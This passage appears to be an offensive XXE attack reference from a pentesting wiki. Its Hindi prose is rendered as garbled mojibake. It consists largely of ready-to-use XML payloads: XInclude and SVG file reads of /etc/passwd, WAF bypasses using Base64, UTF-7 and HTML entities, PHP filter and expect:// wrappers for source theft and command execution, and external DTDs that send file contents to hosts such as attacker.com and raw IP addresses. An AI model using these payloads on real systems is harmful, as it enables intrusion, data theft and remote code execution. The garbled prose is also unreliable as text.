рдЬрдм рдХреНрд▓рд╛рдЗрдВрдЯ рдбреЗрдЯрд╛ рдХреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб XML рджрд╕реНрддрд╛рд╡реЗрдЬреЛрдВ рдореЗрдВ рдПрдХреАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдмреИрдХрдПрдВрдб SOAP рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ, XML рд╕рдВрд░рдЪрдирд╛ рдкрд░ рд╕реАрдзрд╛ рдирд┐рдпрдВрддреНрд░рдг рдЕрдХреНрд╕рд░ рд╕реАрдорд┐рдд рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ DOCTYPE
рддрддреНрд╡ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдкрд░ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЗ рдХрд╛рд░рдг рдкрд╛рд░рдВрдкрд░рд┐рдХ XXE рд╣рдорд▓реЛрдВ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ XInclude
рд╣рдорд▓рд╛ рдПрдХ рд╕рдорд╛рдзрд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛ рддрддреНрд╡ рдХреЗ рднреАрддрд░ рдмрд╛рд╣рд░реА рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЛ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ рдкреНрд░рднрд╛рд╡реА рд╣реИ, рднрд▓реЗ рд╣реА рдХреЗрд╡рд▓ рд╕рд░реНрд╡рд░-рдЬрдирд┐рдд XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рднреАрддрд░ рдбреЗрдЯрд╛ рдХрд╛ рдПрдХ рднрд╛рдЧ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
XInclude
рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, XInclude
рдирд╛рдорд╕реНрдерд╛рди рдХреЛ рдШреЛрд╖рд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдФрд░ рдЗрдЪреНрдЫрд┐рдд рдмрд╛рд╣рд░реА рд╕рдВрд╕реНрдерд╛ рдХреЗ рд▓рд┐рдП рдлрд╝рд╛рдЗрд▓ рдкрде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдиреАрдЪреЗ рдПрдХ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдЙрджрд╛рд╣рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рддрд░рд╣ рдХреЗ рд╣рдорд▓реЗ рдХреЛ рдХреИрд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
Check https://portswigger.net/web-security/xxe for more info!
SVG - рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб
рдХреБрдЫ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЗрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рдлрд┐рд░ рд╕рд░реНрд╡рд░ рдкрд░ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, XML рдпрд╛ XML-рд╕рдорд╛рд╡реЗрд╢реА рдлрд╝рд╛рдЗрд▓ рд╕реНрд╡рд░реВрдкреЛрдВ рдХреЗ рдкреНрд░рдмрдВрдзрди рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреА рд╣реИрдВред рд╕рд╛рдорд╛рдиреНрдп рдлрд╝рд╛рдЗрд▓ рд╕реНрд╡рд░реВрдк рдЬреИрд╕реЗ рдХрд╛рд░реНрдпрд╛рд▓рдп рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ (DOCX) рдФрд░ рдЪрд┐рддреНрд░ (SVG) XML рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВред
рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЪрд┐рддреНрд░ рдЕрдкрд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЗрди рдЪрд┐рддреНрд░реЛрдВ рдХреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкрд░ рд╕рдВрд╕рд╛рдзрд┐рдд рдпрд╛ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдЙрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ PNG рдпрд╛ JPEG рдЬреИрд╕реЗ рд╕реНрд╡рд░реВрдкреЛрдВ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддреЗ рд╣реИрдВ, рд╕рд░реНрд╡рд░ рдХреА рдЫрд╡рд┐ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдкреБрд╕реНрддрдХрд╛рд▓рдп SVG рдЪрд┐рддреНрд░реЛрдВ рдХрд╛ рднреА рд╕рдорд░реНрдерди рдХрд░ рд╕рдХрддреА рд╣реИред SVG, рдПрдХ XML-рдЖрдзрд╛рд░рд┐рдд рд╕реНрд╡рд░реВрдк рд╣реЛрдиреЗ рдХреЗ рдирд╛рддреЗ, рд╣рдорд▓рд╛рд╡рд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг SVG рдЪрд┐рддреНрд░реЛрдВ рдХреЛ рдкреНрд░рд╕реНрддреБрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд░реНрд╡рд░ XXE (XML External Entity) рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
рдЗрд╕ рддрд░рд╣ рдХреЗ рдПрдХ рд╣рдорд▓реЗ рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдиреАрдЪреЗ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг SVG рдЪрд┐рддреНрд░ рд╕рд┐рд╕реНрдЯрдо рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
рдПрдХ рдФрд░ рд╡рд┐рдзрд┐ рдореЗрдВ PHP "expect" wrapper рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
рджреЛрдиреЛрдВ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, SVG рдкреНрд░рд╛рд░реВрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди рд╣рдорд▓реЛрдВ рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рд╕рд░реНрд╡рд░ рдХреЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреА XML рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВ, рдЬреЛ рдордЬрдмреВрдд рдЗрдирдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИред
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП https://portswigger.net/web-security/xxe рджреЗрдЦреЗрдВ!
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкрдврд╝реА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреА рдкрд╣рд▓реА рдкрдВрдХреНрддрд┐ рдпрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдкрд░рд┐рдгрд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдЧреА рдЬреЛ рдмрдирд╛рдИ рдЧрдИ рдЫрд╡рд┐ рдХреЗ рдЕрдВрджрд░ рд╣реЛрдЧреАред рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдЙрд╕ рдЫрд╡рд┐ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ SVG рдиреЗ рдмрдирд╛рдИ рд╣реИред
PDF - рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб
рдПрдХ PDF рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рддреЗ рд╕рдордп XXE рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкрдврд╝реЗрдВ:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}
Content-Type: x-www-urlencoded рд╕реЗ XML рддрдХ
рдпрджрд┐ рдПрдХ POST рдЕрдиреБрд░реЛрдз XML рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдбреЗрдЯрд╛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЙрд╕ рдЕрдиреБрд░реЛрдз рдореЗрдВ XXE рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЕрдиреБрд░реЛрдз рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢рд╛рдорд┐рд▓ рд╣реИ:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
рдлрд┐рд░ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрд░реЛрдз рдкреНрд░рд╕реНрддреБрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрд╕реА рдкрд░рд┐рдгрд╛рдо рдХреЗ рд╕рд╛рде:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
Content-Type: From JSON to XEE
рдЕрдиреБрд░реЛрдз рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк тАЬContent Type ConverterтАЬ рдирд╛рдордХ рдПрдХ Burp Extension рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣рд╛рдБ рдЖрдк рдпрд╣ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
рдПрдХ рдФрд░ рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
WAF рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдмрд╛рдИрдкрд╛рд╕
Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
рдпрд╣ рдХреЗрд╡рд▓ рддрднреА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдЬрдм XML рд╕рд░реНрд╡рд░ data://
рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИред
UTF-7
рдЖрдк рдпрд╣рд╛рдБ ["Encode Recipe" of cyberchef рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ] ([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) рдХреЛ UTF-7 рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░реЗрдВред
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
File:/ Protocol Bypass
рдпрджрд┐ рд╡реЗрдм PHP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ file:/
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп рдЖрдк php wrappersphp://filter/convert.base64-encode/resource=
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдВрддрд░рд┐рдХ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред
рдпрджрд┐ рд╡реЗрдм Java рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк jar: protocol рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
HTML Entities
https://github.com/Ambrotd/XXE-Notes рд╕реЗ рдЯреНрд░рд┐рдХ
рдЖрдк рдПрдХ рдПрдВрдЯрд┐рдЯреА рдХреЗ рдЕрдВрджрд░ рдПрдХ рдПрдВрдЯрд┐рдЯреА рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕реЗ html entities рдХреЗ рд╕рд╛рде рдПрдиреНрдХреЛрдб рдХрд░рдХреЗ рдФрд░ рдлрд┐рд░ рдЗрд╕реЗ dtd рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ HTML Entities рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП (рдЬреИрд╕реЗ [рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
DTD рдЙрджрд╛рд╣рд░рдг:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
PHP Wrappers
Base64
рдирд┐рдХрд╛рд▓реЗрдВ index.php
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
рдмрд╛рд╣рд░реА рд╕рдВрд╕рд╛рдзрди рдирд┐рдХрд╛рд▓реЗрдВ
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
Remote code execution
рдпрджрд┐ PHP "expect" рдореЙрдбреНрдпреВрд▓ рд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
SOAP - XEE
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
XLIFF - XXE
рдпрд╣ рдЙрджрд╛рд╣рд░рдг https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe рд╕реЗ рдкреНрд░реЗрд░рд┐рдд рд╣реИред
XLIFF (XML Localization Interchange File Format) рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрдерд╛рдиреАрдпрдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рдбреЗрдЯрд╛ рд╡рд┐рдирд┐рдордп рдХреЛ рдорд╛рдирдХреАрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдПрдХ XML-рдЖрдзрд╛рд░рд┐рдд рдкреНрд░рд╛рд░реВрдк рд╣реИ рдЬрд┐рд╕рдХрд╛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╕реНрдерд╛рдиреАрдпрдХрд░рдг рдХреЗ рджреМрд░рд╛рди рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдмреАрдЪ рд╕реНрдерд╛рдиреАрдпрдХрд░рдг рдпреЛрдЧреНрдп рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдФрд░ CAT (Computer-Aided Translation) рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╡рд┐рдирд┐рдордп рдкреНрд░рд╛рд░реВрдк рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
Blind Request Analysis
рд╕рд░реНрд╡рд░ рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдЕрдиреБрд░реЛрдз рдПрдХ рдЖрдВрддрд░рд┐рдХ рд╕рд░реНрд╡рд░ рддреНрд░реБрдЯрд┐ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдорд╛рд░реНрдХрдЕрдк рдШреЛрд╖рдгрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд░рддреЗ рд╣реБрдП:
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
рд╣рд╛рд▓рд╛рдВрдХрд┐ рддреНрд░реБрдЯрд┐ рд╣реИ, рд▓реЗрдХрд┐рди рдмрд░реНрдк рд╕рд╣рдпреЛрдЧреА рдкрд░ рдПрдХ рд╣рд┐рдЯ рджрд░реНрдЬ рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ рдмрд╛рд╣рд░реА рдЗрдХрд╛рдИ рдХреЗ рд╕рд╛рде рдХреБрдЫ рд╕реНрддрд░ рдХреА рдмрд╛рддрдЪреАрдд рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреА рд╣реИред
Out of Band Data Exfiltration рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рд╕рдВрд╢реЛрдзрд┐рдд рдЕрдиреБрд░реЛрдз рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ:
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдпрд╣ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпреВрдЬрд░ рдПрдЬреЗрдВрдЯ Java 1.8 рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕ Java рд╕рдВрд╕реНрдХрд░рдг рдХреА рдПрдХ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд╕реАрдорд╛ рдпрд╣ рд╣реИ рдХрд┐ рдпрд╣ Out of Band рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ newline рдЪрд░рд┐рддреНрд░ рд╡рд╛рд▓реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрде рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ /etc/passwdред
Error-Based Data Exfiltration рдЗрд╕ рд╕реАрдорд╛ рдХреЛ рдкрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ Error-Based рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред DTD рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╕рдВрд░рдЪрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ рддреНрд░реБрдЯрд┐ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗ рдЬрд┐рд╕рдореЗрдВ рд▓рдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдбреЗрдЯрд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛ:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
рд╕рд░реНрд╡рд░ рдПрдХ рддреНрд░реБрдЯрд┐ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд░реВрдк рд╕реЗ рдЧреИрд░-рдореМрдЬреВрдж рдлрд╝рд╛рдЗрд▓ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ, рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рд╕рд░реНрд╡рд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд░рд╣рд╛ рд╣реИ:
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, DTD рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
